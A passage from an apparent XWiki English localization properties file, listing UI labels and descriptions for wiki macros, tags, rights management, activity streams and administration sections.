page.\nrendering.macro.html.parameter.clean.name=clean\nrendering.macro.html.parameter.clean.description=Indicate if the HTML should be transformed into valid XHTML or not.\nrendering.macro.html.parameter.wiki.name=wiki\nrendering.macro.html.parameter.wiki.description=Indicate if the wiki syntax in the macro will be interpreted or not.\nrendering.macro.script.name=Script\nrendering.macro.script.description=Execute script in provided script language.\nrendering.macro.script.content.description=the script to execute\nrendering.macro.script.parameter.jars.name=jars\nrendering.macro.script.parameter.jars.description=List of JARs to be added to the class loader used to execute this script. Example: \"attach:wiki:space.page@somefile.jar\", \"attach:somefile.jar\", \"attach:wiki:space.page\" (adds all JARs attached to the page) or URL to a JAR\nrendering.macro.script.parameter.language.name=language\nrendering.macro.script.parameter.language.description=The identifier of the script language (\"groovy\", \"python\", etc)\nrendering.macro.script.parameter.output.name=output\nrendering.macro.script.parameter.output.description=Specifies whether the output result should be inserted back in the page\nrendering.macro.script.parameter.wiki.name=wiki\nrendering.macro.script.parameter.wiki.description=Specifies whether wiki syntax in the script execution result will be rendered or not\nrendering.macro.velocity.name=Velocity\nrendering.macro.velocity.description=Executes a Velocity script.\nrendering.macro.velocity.content.description=the velocity script to execute\nrendering.macro.velocity.parameter.filter.name=filter\nrendering.macro.velocity.parameter.filter.description=indicate which filtering mode to use\nrendering.macro.velocity.parameter.jars.name=jars\nrendering.macro.velocity.parameter.jars.description=List of JARs to be added to the class loader used to execute this script. Example: \"attach:wiki:space.page@somefile.jar\", \"attach:somefile.jar\", \"attach:wiki:space.page\" (adds all JARs attached to the page) or URL to a JAR\nrendering.macro.velocity.parameter.output.name=output\nrendering.macro.velocity.parameter.output.description=Specifies whether the output result should be inserted back in the page\nrendering.macro.velocity.parameter.wiki.name=wiki\nrendering.macro.velocity.parameter.wiki.description=Specifies whether wiki syntax in the script execution result will be rendered or not\nrendering.macro.toc.name=Table of contents\nrendering.macro.toc.description=Generates a table of contents.\nrendering.macro.toc.parameter.depth.name=depth\nrendering.macro.toc.parameter.depth.description=the maximum section level. For example if 3 then all section levels from 4 will not be listed\nrendering.macro.toc.parameter.numbered.name=numbered\nrendering.macro.toc.parameter.numbered.description=if true the section title number is printed\nrendering.macro.toc.parameter.scope.name=scope\nrendering.macro.toc.parameter.scope.description=if local only section in the current scope will be listed. For example if the macro is written in a section, only subsections of this section will be listed\nrendering.macro.toc.parameter.scope.value.LOCAL=Local\nrendering.macro.toc.parameter.scope.value.PAGE=Page\nrendering.macro.toc.parameter.start.name=start\nrendering.macro.toc.parameter.start.description=the minimum section level. For example if 2 then level 1 sections will not be listed\nrendering.macro.toc.parameter.reference.name=reference\nrendering.macro.toc.parameter.reference.description=Reference to the document for which to generate the table of contents. Leave empty for the current page.\nrendering.macro.id.name=Id\nrendering.macro.id.description=Allows putting a reference/location in a page. In HTML for example this is called an Anchor. It allows pointing to that location, for example in links.\nrendering.macro.id.parameter.name.name=name\nrendering.macro.id.parameter.name.description=the identifier string\nrendering.macro.putFootnotes.name=Put Footnote\nrendering.macro.putFootnotes.description=Displays the footnotes defined so far. If missing, all footnotes are displayed by default at the end of the page.\nrendering.macro.formula.name=Formula\nrendering.macro.formula.description=Displays a mathematical formula.\nrendering.macro.formula.content.description=The mathematical formula, in LaTeX syntax\nrendering.macro.formula.parameter.fontSize.name=fontSize\nrendering.macro.formula.parameter.fontSize.description=adjust font size\nrendering.macro.formula.parameter.fontSize.value.TINY=Tiny\nrendering.macro.formula.parameter.fontSize.value.VERY_SMALL=Very small\nrendering.macro.formula.parameter.fontSize.value.SMALLER=Smaller\nrendering.macro.formula.parameter.fontSize.value.SMALL=Small\nrendering.macro.formula.parameter.fontSize.value.NORMAL=Normal\nrendering.macro.formula.parameter.fontSize.value.LARGE=Large\nrendering.macro.formula.parameter.fontSize.value.LARGER=Larger\nrendering.macro.formula.parameter.fontSize.value.VERY_LARGE=Very large\nrendering.macro.formula.parameter.fontSize.value.HUGE=Huge\nrendering.macro.formula.parameter.fontSize.value.EXTREMELY_HUGE=Extremely huge\nrendering.macro.formula.parameter.imageType.name=imageType\nrendering.macro.formula.parameter.imageType.description=resulting image type\nrendering.macro.formula.parameter.imageType.value.PNG=png\nrendering.macro.formula.parameter.imageType.value.GIF=gif\nrendering.macro.formula.parameter.imageType.value.JPEG=jpeg\nrendering.macro.footnote.name=Footnote\nrendering.macro.footnote.description=Generates a footnote to display at the end of the page.\nrendering.macro.footnote.content.description=the text to place in the footnote\nrendering.macro.rss.name=RSS\nrendering.macro.rss.description=Output latest feed entries from a RSS feed.\nrendering.macro.rss.parameter.content.name=content\nrendering.macro.rss.parameter.content.description=Display content for feed entries\nrendering.macro.rss.parameter.count.name=count\nrendering.macro.rss.parameter.count.description=The maximum number of feed items to display on the page.\nrendering.macro.rss.parameter.feed.name=feed\nrendering.macro.rss.parameter.feed.description=URL of the RSS feed\nrendering.macro.rss.parameter.image.name=image\nrendering.macro.rss.parameter.image.description=If the feeds has an image associated, display it?\nrendering.macro.rss.parameter.width.name=width\nrendering.macro.rss.parameter.width.description=The width, in px or %, of the box containing the RSS output (default is 30%)\nrendering.macro.rss.parameter.encoding.name=encoding\nrendering.macro.rss.parameter.encoding.description=The encoding to use when reading the RSS Feed (guessed by default)\nrendering.macro.useravatar.name=User Avatar\nrendering.macro.useravatar.description=Allows displaying the avatar for a specific user.\nrendering.macro.useravatar.parameter.height.name=height\nrendering.macro.useravatar.parameter.height.description=the image's height\nrendering.macro.useravatar.parameter.username.name=username\nrendering.macro.useravatar.parameter.username.description=the name of the user whose avatar is to be displayed\nrendering.macro.useravatar.parameter.width.name=width\nrendering.macro.useravatar.parameter.width.description=the image's width\nrendering.macro.chart.name=Chart\nrendering.macro.chart.description=Displays a graphical chart generated from miscellaneous data sources\nrendering.macro.chart.content.description=Input data for the chart macro (e.g. for 'inline' source mode)\nrendering.macro.chart.parameter.height.name=height\nrendering.macro.chart.parameter.height.description=The height of the generated chart image\nrendering.macro.chart.parameter.params.name=params\nrendering.macro.chart.parameter.params.description=Additional parameters for the data source\nrendering.macro.chart.parameter.source.name=source\nrendering.macro.chart.parameter.source.description=The string describing the type of input data source (e.g. xdom or inline)\nrendering.macro.chart.parameter.title.name=title\nrendering.macro.chart.parameter.title.description=The title of the chart (appears on top of the chart image)\nrendering.macro.chart.parameter.type.name=type\nrendering.macro.chart.parameter.type.description=The type of the chart (e.g. pie, line, area or bar)\nrendering.macro.chart.parameter.width.name=width\nrendering.macro.chart.parameter.width.description=The width of the generated chart image\nrendering.macro.info.name=Info Message\nrendering.macro.info.description=Displays an info message note.\nrendering.macro.info.content.description=The content to put in the box.\nrendering.macro.error.name=Error Message\nrendering.macro.error.description=Displays an error message note.\nrendering.macro.error.content.description=The content to put in the box.\nrendering.macro.warning.name=Warning Message\nrendering.macro.warning.description=Displays a warning message note.\nrendering.macro.warning.content.description=The content to put in the box.\nrendering.macro.success.name=Success Message\nrendering.macro.success.description=Displays a success message note.\nrendering.macro.success.content.description=The content to put in the box.\nrendering.macro.box.name=Box\nrendering.macro.box.description=Draw a box around provided content.\nrendering.macro.box.content.description=the content to put in the box\nrendering.macro.box.parameter.cssClass.name=cssClass\nrendering.macro.box.parameter.cssClass.description=A CSS class to add to the box element\nrendering.macro.box.parameter.image.name=image\nrendering.macro.box.parameter.image.description=the image which is to be displayed in the message box\nrendering.macro.box.parameter.title.name=title\nrendering.macro.box.parameter.title.description=the title which is to be displayed in the message box\nrendering.macro.box.parameter.width.name=width\nrendering.macro.box.parameter.width.description=An optional width for the box, expressed in px or %\nrendering.macro.code.name=Code\nrendering.macro.code.description=Highlights code snippets of various programming languages\nrendering.macro.code.content.description=the content to highlight\nrendering.macro.code.parameter.cssClass.name=cssClass\nrendering.macro.code.parameter.cssClass.description=A CSS class to add to the box element\nrendering.macro.code.parameter.image.name=image\nrendering.macro.code.parameter.image.description=the image which is to be displayed in the message box\nrendering.macro.code.parameter.language.name=language\nrendering.macro.code.parameter.language.description=the language identifier (java, python, etc.)\nrendering.macro.code.parameter.layout.name=layout\nrendering.macro.code.parameter.layout.description=the layout format (plain or with line numbers)\nrendering.macro.code.parameter.title.name=title\nrendering.macro.code.parameter.title.description=the title which is to be displayed in the message box\nrendering.macro.code.parameter.width.name=width\nrendering.macro.code.parameter.width.description=An optional width for the box, expressed in px or %\nrendering.macro.context.name=Context\nrendering.macro.context.description=Executes content in the context of the passed page\nrendering.macro.context.content.description=The content to execute\nrendering.macro.context.parameter.document.name=Page\nrendering.macro.context.parameter.document.description=The reference to the page the content will be executed in.\nrendering.macro.container.name=Container\nrendering.macro.container.description=A macro to enclose multiple groups and add decoration, such as layout.\nrendering.macro.container.content.description=The content to enclose in this container (wiki syntax). For the \"columns\" layout, a group should be added for each column.\nrendering.macro.container.parameter.layoutStyle.name=layout style\nrendering.macro.container.parameter.layoutStyle.description=The identifier of the container layout (e.g. \"columns\"). If no style is provided, the container content will be rendered as is.\nrendering.macro.container.parameter.justify.name=justify\nrendering.macro.container.parameter.justify.description=Flag specifying whether the content in this container is justified or not.\nrendering.macro.container.parameter.cssClass.name=CSS Class\nrendering.macro.container.parameter.cssClass.description=Value of the HTML class attribute to add to this container, used to style in CSS.\nrendering.macro.dashboard.name=Dashboard\nrendering.macro.dashboard.description=A macro to define a dashboard to fill with gadgets.\nrendering.macro.dashboard.parameter.layout.name=layout\nrendering.macro.dashboard.parameter.layout.description=The identifier of the layout to use for this dashboard (e.g. columns, etc). If none specified, columns will be used.\nrendering.macro.dashboard.parameter.style.name=Style\nrendering.macro.dashboard.parameter.style.description=The identifier of the style to be used for this dashboard. No style means that the gadgets will be rendered plain, as content of the page. \"panels\" style will render the gadgets the same as the panels. Note that this is used as the CSS class of the top level block of the dashboard, so you can pass any value to create your own dashboard style.\nrendering.macro.dashboard.parameter.source.name=Source\nrendering.macro.dashboard.parameter.source.description=The source of the dashboard macro, as a page reference, where the gadget configurations (objects) should be read from. By default the current page will be used. Example: Dashboard.WebHome.\nrendering.macro.gallery.name=Gallery\nrendering.macro.gallery.description=Displays the images found in the provided content using a slide-show view.\nrendering.macro.gallery.content.description=The images to be displayed in the gallery. All the images found in the provided wiki content are included. Images should be specified using the syntax of the current page. Example, for XWiki 2.0 syntax: image:Space.Page@alice.png image:http://www.example.com/path/to/bob.jpg\nrendering.macro.cache.name=Cache\nrendering.macro.cache.description=Caches content.\nrendering.macro.cache.content.description=The content to cache.\nrendering.macro.cache.parameter.id.name=id\nrendering.macro.cache.parameter.id.description=A unique id under which the content is cached.\nrendering.macro.cache.parameter.timeToLive.name=timeToLive\nrendering.macro.cache.parameter.timeToLive.description=The number of seconds to cache the content.\nrendering.macro.cache.parameter.maxEntries.name=maxEntries\nrendering.macro.cache.parameter.maxEntries.description=The maximum number of entries in the cache (Least Recently Used entries are ejected).\nrendering.macro.comment.name=Comment\nrendering.macro.comment.description=Allows putting comments in the source content. This macro doesn't output anything.\nrendering.macro.comment.content.description=Comments.\n### Wiki macros, distributed with XE -- TODO: remove these translations when localization tool will be ready to inject translations at .xar import time\nrendering.macro.spaces.name=Spaces\nrendering.macro.spaces.description=Displays all the spaces in this wiki.\nrendering.macro.tagcloud.name=Tag Cloud\nrendering.macro.tagcloud.description=Displays the cloud of tags in this wiki or in the specified space, if any.\nrendering.macro.tagcloud.parameter.space.name=space\nrendering.macro.tagcloud.parameter.space.description=The space to display the tag cloud for. If missing, the tags in the whole wiki will be displayed.\nrendering.macro.tagcloud.parameter.spaces.name=Spaces\nrendering.macro.tagcloud.parameter.spaces.description=Spaces to display the tag cloud for. Space names must be separated by comma \",\" and wrapped in single quotes \"'\". (i.e. 'Space1','Space2')\nrendering.macro.activity.name=Activity\nrendering.macro.activity.description=The Activity Macro provides information about recent activities done by the users inside the XWiki instance. It lists the create, edit and delete events for pages, as well as comments, attachments and annotations.\nrendering.macro.activity.parameter.entries.name=entries\nrendering.macro.activity.parameter.entries.description=Number of entries to display the activity for.\nrendering.macro.activity.parameter.subentries.name=subentries\nrendering.macro.activity.parameter.subentries.description=Number of activities to show for each entry.\nrendering.macro.activity.parameter.wikis.name=wikis\nrendering.macro.activity.parameter.wikis.description=Comma separated list of wikis to display activity for.\nrendering.macro.activity.parameter.spaces.name=spaces\nrendering.macro.activity.parameter.spaces.description=Comma separated list of spaces to display the activity for.\nrendering.macro.activity.parameter.authors.name=authors\nrendering.macro.activity.parameter.authors.description=Comma separated list of authors whose modifications to show.\nrendering.macro.activity.parameter.tags.name=tags\nrendering.macro.activity.parameter.tags.description=Comma separated list of tags to display activity for.\nrendering.macro.activity.parameter.minor.name=minor\nrendering.macro.activity.parameter.minor.description=Whether to show modifications that create minor versions or not.\nrendering.macro.activity.parameter.rss.name=RSS\nrendering.macro.activity.parameter.rss.description=Whether to show activity RSS link or not.\nrendering.macro.spaceindex.name=Space Index\nrendering.macro.spaceindex.description=Lists the pages in a space.\nrendering.macro.spaceindex.parameter.count.name=count\nrendering.macro.spaceindex.parameter.count.description=The maximum number of pages to display. By default, up to 100 pages will be listed. If all pages should be displayed, pass 0.\nrendering.macro.spaceindex.parameter.space.name=space\nrendering.macro.spaceindex.parameter.space.description=The space to display the list of pages for. If missing, the current space will be used.\nrendering.macro.spaceindex.parameter.sort.name=sort\nrendering.macro.spaceindex.parameter.sort.description=Optional parameter to choose the sorting of the list of pages.\\nValid values are: 'creationDate': sort by creation date (default), 'modificationDate': sort by update date, or 'docName': sort alphabetically.\nrendering.macro.documents.name=Pages\nrendering.macro.documents.description=Displays a list of pages in a Livetable\nrendering.macro.documents.parameter.count.name=count\nrendering.macro.documents.parameter.count.description=Number of items to display by default\nrendering.macro.documents.parameter.actions.name=actions\nrendering.macro.documents.parameter.actions.description=Whether to show the actions columns or not\nrendering.macro.documents.parameter.space.name=space\nrendering.macro.documents.parameter.space.description=Only lists pages found in the passed space\nrendering.macro.documents.parameter.id.name=id\nrendering.macro.documents.parameter.id.description=Livetable id\nrendering.macro.documents.parameter.parent.name=parent\nrendering.macro.documents.parameter.parent.description=Only list pages having the specified parent\nrendering.macro.documents.parameter.columns.name=columns\nrendering.macro.documents.parameter.columns.description=Displays specified columns (e.g. \"doc.name,doc.author\"). The default value is \"doc.name,doc.space,doc.date,doc.author\".\nrendering.macro.attachmentSelector.name=Attachment Selector\nrendering.macro.attachmentSelector.description=A control to be used for object properties of the current page that are supposed to contain the name of an attachment from the current (or target) page. Allows uploading new attachments, and deleting attachments from the target page. If no target page is specified, the current page will be used. Object properties are only saved to the current page.\nrendering.macro.attachmentSelector.parameter.classname.name=classname\nrendering.macro.attachmentSelector.parameter.classname.description=The full name of the page holding the XClass that contains the property associated with this picker.\nrendering.macro.attachmentSelector.parameter.property.name=property\nrendering.macro.attachmentSelector.parameter.property.description=The name of the property associated with the picker.\nrendering.macro.attachmentSelector.parameter.object.name=object\nrendering.macro.attachmentSelector.parameter.object.description=The identifier (number) of the object for which the property is displayed by this picker. If missing, the first instance of the class given by the parameter classname found in the page will be considered.\nrendering.macro.attachmentSelector.parameter.cssClass.description=A CSS class for the element surrounding the property value.\nrendering.macro.attachmentSelector.parameter.cssClass.name=cssClass\nrendering.macro.attachmentSelector.parameter.savemode.description=States how the property is updated. Accepted values: \"form\" (default) meaning that the selected value is stored in an input that will be saved via an external form; \"direct\" means that the picker is responsible with updating the property value.\nrendering.macro.attachmentSelector.parameter.savemode.name=savemode\nrendering.macro.attachmentSelector.parameter.buttontext.description=Text of the button that triggers the picker. Defaults to $services.localization.render('xe.attachmentSelector.selectFile').\nrendering.macro.attachmentSelector.parameter.buttontext.name=buttontext\nrendering.macro.attachmentSelector.parameter.defaultValue.description=What attachment is displayed in view mode if the property is empty. Should either be empty or in the form of a wiki attachment reference (e.g. \"attachment.txt\", \"Another.Page@attachment.txt\").\nrendering.macro.attachmentSelector.parameter.defaultValue.name=defaultValue\nrendering.macro.attachmentSelector.parameter.filter.description=Comma separated list of file extensions accepted by the property (to become a comma separated list of mimetypes when XWiki will use HTML5). All files are accepted if this parameter is empty.\nrendering.macro.attachmentSelector.parameter.filter.name=filter\nrendering.macro.attachmentSelector.parameter.displayImage.description=States whether images are displayed or just their name is printed like for other attachments. Possible values: true, false (default).\nrendering.macro.attachmentSelector.parameter.displayImage.name=displayImage\nrendering.macro.attachmentSelector.parameter.width.description=The width of the displayed image, only taken into account if displayImage=true.\nrendering.macro.attachmentSelector.parameter.width.name=width\nrendering.macro.attachmentSelector.parameter.height.description=The height of the displayed image, only taken into account if displayImage=true.\nrendering.macro.attachmentSelector.parameter.height.name=height\nrendering.macro.attachmentSelector.parameter.alternateText.description=The alternate text of the displayed image, only taken into account if displayImage=true\nrendering.macro.attachmentSelector.parameter.alternateText.name=alternateText\nrendering.macro.attachmentSelector.parameter.link.description=States whether a link to the attachment is associated in view mode with the displayed attachment name/image. Possible values: true, false (default).\nrendering.macro.attachmentSelector.parameter.link.name=link\nrendering.macro.attachmentSelector.parameter.targetdocname.description=The target page name to save/list attachments from\nrendering.macro.attachmentSelector.parameter.targetdocname.name=targetdocname\nrendering.macro.messageSender.name=Message Sender\nrendering.macro.messageSender.description=A control that allows users to enter messages that are handled by the MessageStream module.\nrendering.macro.messageSender.parameter.visibility.name=visibility\nrendering.macro.messageSender.parameter.visibility.description=Default selected visibility when the macro is displayed.\\nIf not specified, it is determined automatically based on the page where the macro is used.\\nValid values are: 'everyone', 'followers', 'group' or 'user'.\nrendering.macro.messageSender.parameter.visibilityParameter.name=visibilityParameter\nrendering.macro.messageSender.parameter.visibilityParameter.description=Some visibility levels (like 'user' and 'group') accept a parameter. In the case of the 2 mentioned levels, the value can be a serialized reference of a user or a group page.\nrendering.macro.messageSender.parameter.visibilityOptions.name=visibilityOptions\nrendering.macro.messageSender.parameter.visibilityOptions.description=Comma separated list of visibility options that the macro should allow the user to choose from.\\nThis list should be a sublist of the default ones: 'everyone', 'followers', 'group', 'user'.\nrendering.macro.async.name=Async macro\nrendering.macro.async.description=Execute asynchronously and/or cache the macro content.\nrendering.macro.async.content.description=The wiki content to execute.\nrendering.macro.async.parameter.async.name=Async\nrendering.macro.async.parameter.async.description=Enable or disable asynchronous execution\nrendering.macro.async.parameter.cached.name=Cached\nrendering.macro.async.parameter.cached.description=Enable or disable caching of the result of the macro content execution\nrendering.macro.async.parameter.contextEntries.name=Context entries\nrendering.macro.async.parameter.contextEntries.description=The list of context elements needed for the execution (wiki, user, locale, request.base, doc.reference...)\nrendering.macro.async.parameter.id.name=Id override\nrendering.macro.async.parameter.id.description=A unique id is automatically generated by default but it's possible to provide a custom one if needed", "####################\n# Async\n####################", "rendering.async.context.entry.author=Author\nrendering.async.context.entry.doc.reference=Document\nrendering.async.context.entry.wiki=Wiki\nrendering.async.context.entry.secureDocument=Secure document\nrendering.async.context.entry.request.parameters=Request parameters\nrendering.async.context.entry.request.url=Request URL\nrendering.async.context.entry.request.base=Request base URL\nrendering.async.context.entry.request.wiki=Request wiki\nrendering.async.context.entry.request.contextpath=Request context path\nrendering.async.context.entry.locale=Language\nrendering.async.context.entry.action=Action\nrendering.async.context.entry.user=User", "####################\n# Plugins\n####################", "### Tag plugin\nplugin.tag.editcomment.renamed=Renamed tag [{0}] to [{1}]\nplugin.tag.editcomment.added=Added tag [{0}]\nplugin.tag.editcomment.removed=Removed tag [{0}]", "####################\n# Applications\n####################", "### Rights manager (XWiki Enterprise wiki)\nrightsmanager.confirmdeleteuser=The user __name__ will be deleted and removed from all groups he belongs to. Are you sure you want to proceed?\nrightsmanager.confirmdeletegroup=The group __name__ will be deleted. Are you sure you want to proceed?\nrightsmanager.confirmdeletemember=This user will be removed from the current group. Are you sure you want to proceed?\nrightsmanager.duplicateuser=Some users already exist in the group\nrightsmanager.unregisteredusers=Unregistered Users\nrightsmanager.specialusers=Special Users\nrightsmanager.groups=Groups\nrightsmanager.users=Users\nrightsmanager.groupsorusers=Groups or Users\nrightsmanager.admin=Admin\nrightsmanager.programming=Program\nrightsmanager.edit=Edit\nrightsmanager.script=Script\nrightsmanager.view=View\nrightsmanager.delete=Delete\nrightsmanager.register=Register\nrightsmanager.createwiki=Create Wiki\nrightsmanager.comment=Comment\nrightsmanager.global=Global\nrightsmanager.local=Local\nrightsmanager.both=Both\nrightsmanager.edituserprofile=For more options to edit this user, please go to the\nrightsmanager.userprofile=user's profile\nrightsmanager.members=Members\nrightsmanager.manage=Manage\nrightsmanager.addnewuser=Create user\nrightsmanager.addnewgroup=Add group\nrightsmanager.createnewgroup=Create new group\nrightsmanager.creategroup=Create group\nrightsmanager.groupexist=__name__ cannot be used for the group name, as another page with this name already exists.\nrightsmanager.documentrequireviewrights=(*) Some pages require special rights to be viewed.\nrightsmanager.denyrightforuorg=You are about to deny the __right__ right for __name__. Continue?\nrightsmanager.clearrightforuorg=You are about to clear the __right__ right for __name__. Continue?\nrightsmanager.denyrightforcurrentuser=You are about to deny the __right__ right for yourself. Continue?\nrightsmanager.clearrightforcurrentuser=You are about to clear the __right__ right for yourself. Continue?\nrightsmanager.clearrightforcurrentuserinstead=Would you like to clear the __right__ right for yourself instead?\nrightsmanager.denyrightforgroup=You are about to deny the __right__ right for __name__. This implies denying your own __right__ right, if you are part of this group. Continue?\nrightsmanager.clearrightforgroup=You are about to clear the __right__ right for __name__. This implies clearing your own __right__ right, if you are part of this group. Continue?\nrightsmanager.clearrightforgroupinstead=Would you like to clear the __right__ right for __name__ instead? This implies clearing your own __right__ right, if you are part of this group. Continue?\nrightsmanager.username=User Name\nrightsmanager.firstname=First Name\nrightsmanager.lastname=Last Name\nrightsmanager.groupname=Group Name\nrightsmanager.displayrows=Displaying rows\nrightsmanager.searchfilter=Search filter:\nrightsmanager.searchscope=Search scope:\nrightsmanager.guestcommentrequirescaptcha=Require unregistered users to solve a CAPTCHA when posting a comment on a page", "ui.ajaxTable.outof=out of\nui.ajaxTable.loading=Loading...", "platform.core.rightsManagement.editRightsForSpace=Editing access rights for space {0}\nplatform.core.rightsManagement.ajaxFailure=An error occurred while communicating with the server. Please check that the server is accessible, and you have the proper rights to perform the requested action.\nplatform.core.rightsManagement.saveFailure=An exception occurred while trying to save the current modifications. Please check if you have the proper rights to perform these modifications.\nplatform.core.rightsManagement.saveComment={0} {1} right for {2}", "platform.core.rendering.error.readTechnicalInformation=Read technical information related to this error\nplatform.core.rendering.noRendererForSectionEdit=This page's syntax doesn't support section editing!", "platform.core.errorMessageType=Error\nplatform.core.noticeMessageType=Notice\nplatform.core.warningMessageType=Warning\nplatform.core.invalidUrl=This is not a valid URL\nplatform.core.action.objectRemove.noClassnameSpecified=No object type specified.\nplatform.core.action.objectRemove.noObjectSpecified=No object specified.\nplatform.core.action.objectRemove.invalidObject=Invalid object specified.\nplatform.core.action.deleteAttachment.noAttachment=This attachment does not exist.\ncore.action.deleteAttachment.failed=Failed to delete attachment {0}\ncore.action.upload.failure=Failed to upload {0,choice,0#files|1#one file|1<{0} files}.\ncore.action.upload.failure.maxSize=The wiki administrators have set a limit of {0} for attached files. Please make sure the size of the files you are trying to attach does not exceed this limit.\ncore.action.upload.failure.title=Uploading files to <a href=\"{1}\">{0}</a>\ncore.action.upload.failure.failedFiles=Internal failure while attaching:\ncore.action.upload.failure.wrongFileNames=The following file names are not supported:\ncore.action.upload.failure.noFiles=No files to attach were found in the request.", "### XWikiExplorer JS Widget\nxwikiexplorer.page.hint=Located in\nxwikiexplorer.addpage.title=New page...\nxwikiexplorer.addpage.hint=New page in\nxwikiexplorer.attachments.title=Attachments\nxwikiexplorer.attachments.hint=Attachments of\nxwikiexplorer.attachment.hint=Attached to\nxwikiexplorer.addattachment.title=Upload file...\nxwikiexplorer.addattachment.hint=Upload file to", "\n### Tag application\nxe.tag.tags=Tags\nxe.tag.tagclass=XWiki Tag Class\nxe.tag.tagcloud=Tag Cloud\nxe.tag.notags=No page has been tagged yet\nxe.tag.notagsforspace=No tag has been added on this page or on its children\nxe.tag.tooltip={0,choice,1#1 page|1<{0} pages}\nxe.tag.alldocs=All pages tagged with {0}\nxe.tag.activity=Activity Stream for pages tagged with {0}\nxe.tag.rename=Rename\nxe.tag.rename.success=Tag {0} has been successfully renamed.\nxe.tag.rename.failure=Renaming of tag {0} to {1} failed.\nxe.tag.rename.renameto=Rename {0} to:\nxe.tag.rename.link=Rename\nxe.tag.delete=Delete tag {0}\nxe.tag.delete.success=Tag {0} has been successfully deleted.\nxe.tag.delete.failure=Deletion of tag {0} failed.\nxe.tag.delete.link=Delete\ncore.tags.list.label=Tags:\ncore.tags.add.tooltip=Add tags\ncore.tags.add.label=Comma separated tags:\ncore.tags.add.submit=Add\ncore.tags.add.cancel=Cancel\ncore.tags.add.error.alreadySet=This tag is already set\ncore.tags.add.error.notAllowed=You are not allowed to tag this page\ncore.tags.add.error.failed=Failed to add tag \"{0}\" due to an internal server error\ncore.tags.remove.tooltip=Delete this tag from the page\ncore.tags.remove.error.notFound=This tag is not set\ncore.tags.remove.error.notAllowed=You are not allowed to remove tags from this page\ncore.tags.remove.error.failed=Failed to remove tag \"{0}\" due to an internal server error\ncore.tags.adding=Adding tag...\ncore.tags.deleting=Deleting tag...\ncore.tags.fetchform=Fetching form...\nxe.tag.paramerror=Do not use \"space\" and \"spaces\" parameter in the same time", "### Page footer\ndocextra.annotations=Annotations\ndocextra.comments=Comments\ndocextra.children=Children\ndocextra.attachments=Attachments\ndocextra.history=History\ndocextra.information=Information\ndocextra.extranb=({0})\ndocextra.parent=Parent\ndocextra.backlinks=Backlinks\ndocextra.creation=Creation\ndocextra.createdby=by {0} on {1}\ndocextra.includedpages=Included pages\ndocextra.siblings=Siblings\ncore.tagedit.title=Tags\ntags.save=Save\ntags.save.success=Tags saved successfuly\ntags.save.error=An error occurred while saving tags", "core.links.content=Content", "# Recent Members (XWiki Enterprise wiki)\nxe.recentmembers=Recent Members", "### Activity Macro (since XWiki Enterprise 2.6RC2)\nxe.activity=Activity Stream\nxe.activity.rssfeed=RSS feed\nxe.activity.noentries=There are no activities in the stream", "xe.activity.action.create=created the page\nxe.activity.action.delete=deleted the page\nxe.activity.action.update=edited the page\nxe.activity.action.BlogPostPublishedEvent=published a blog post\nxe.activity.action.addAnnotation=added an annotation\nxe.activity.action.deleteAnnotation=deleted an annotation\nxe.activity.action.updateAnnotation=edited an annotation\nxe.activity.action.addAttachment=added {0,choice,1#an attachment|1<{0} attachments}\nxe.activity.action.deleteAttachment=deleted an attachment\nxe.activity.action.updateAttachment=edited {0,choice,1#an attachment|1<{0} attachments}\nxe.activity.action.addComment=added a comment\nxe.activity.action.deleteComment=deleted a comment\nxe.activity.action.updateComment=edited a comment\nxe.activity.action.summary={0,choice,1#one change|1<{0} changes} by {1,choice,1#one user|1<{1} users}\nxe.activity.action.seechanges=see changes\nxe.activity.action.personalMessage=posted the message\nxe.activity.action.directMessage=says:\nxe.activity.action.groupMessage=posted the message\nxe.activity.action.publicMessage=posted the message", "xe.activity.messages.visibility=Visible to\nxe.activity.messages.visibility.targetName.tip=Name\nxe.activity.messages.submit=Share\nxe.activity.messages.submit.inProgress=Sending...\nxe.activity.messages.submit.failed=Failed to send message\nxe.activity.messages.submit.success=Message sent\nxe.activity.messages.follow=Follow\nxe.activity.messages.following=Following\nxe.activity.messages.unfollow=Unfollow\nxe.activity.messages.follow.inProgress=Updating...\nxe.activity.messages.follow.failed=Failed to add:\nxe.activity.messages.unfollow.confirm=Are you sure you wish to stop following {0}?\nxe.activity.messages.delete=Delete this message\nxe.activity.messages.delete.confirm=Are you sure you wish to delete this message?\nxe.activity.messages.delete.failed=Failed to delete the message\nxe.activity.messages.delete.success=Message deleted\nxe.activity.messages.error.loginToSendMessage=You need to [[log in>>{0}]] before sending messages.\nxe.activity.messages.inactive=The Message feature is currently turned off. You can turn it on from the [[administration>>{0}]].", "###timeAgo used by Recent Activity macro (XE 2.6RC1) and Activity macro\ntimeAgo.minutesAgo={0,choice,0#few seconds|1#one minute|1<{0} minutes} ago\ntimeAgo.hoursAgo={0,choice,0#less than one hour|1# one hour|1<{0} hours} ago\ntimeAgo.daysAgo={0,choice,0#less than one day|1# one day|1<{0} days} ago\ntimeAgo.monthsAgo={0,choice,0#less than month|1# one month|1<{0} months} ago\ntimeAgo.yearsAndMonthsAgo={0,choice,0#|1# one year|1<{0} years} {1,choice,0#|1#and one month|1<and {1} months} ago\ntimeAgo.today=Today\ntimeAgo.yesterday=Yesterday", "### Administration application\nadmin.main.title=Administration\nadmin.switchContext=Go", "### categories\nadmin.lf=Look & Feel\nadmin.lf.description=Change the aspect and layout of the wiki.\nadmin.usersgroups=Users & Rights\nadmin.usersgroups.description=Manage users, groups, and their access rights.\nadmin.content=Content\nadmin.content.description=Manipulate the content of the wiki.\nadmin.extensionmanager=Extensions\nadmin.extensionmanager.description=Search, add, upgrade and remove extensions.", "### sections\nadmin.editing=Edit Mode\nadmin.editing.description=Choose the default edit mode and configure its title and versioning parameters.\nadmin.localization=Localization\nadmin.localization.description=Language-related settings.\nadmin.programming=Programming\nadmin.programming.description=Settings related to programming in XWiki.\nadmin.ooserver=Office Server\nadmin.ooserver.options=Options\nadmin.ooserver.options.source=These options are configured on the server, in {0}.\nadmin.xwiki.officeimporteradmin.description=Configure the Office Server.", "admin.presentation=Presentation\nadmin.presentation.description=Choose the page tabs that are visible and configure the page header and footer.\nadmin.panelwizard=Panel Wizard\nadmin.panels.panelwizard.description=Add and remove panels, change the page layout.\nadmin.colorthemes=Color Themes\nadmin.colorthemes.description=Settings for color themes customization.\nadmin.colorthemes.colibrithemes=Colibri Themes\nadmin.colorthemes.flamingothemes=Flamingo Themes\nadmin.colorthemes.invalidtheme=The current value ({0}) is invalid. The color theme might not exist.\nadmin.icontheme=Icon Theme", "admin.users=Users\nadmin.users.description=Manage users of this wiki: add, remove, modify their profile 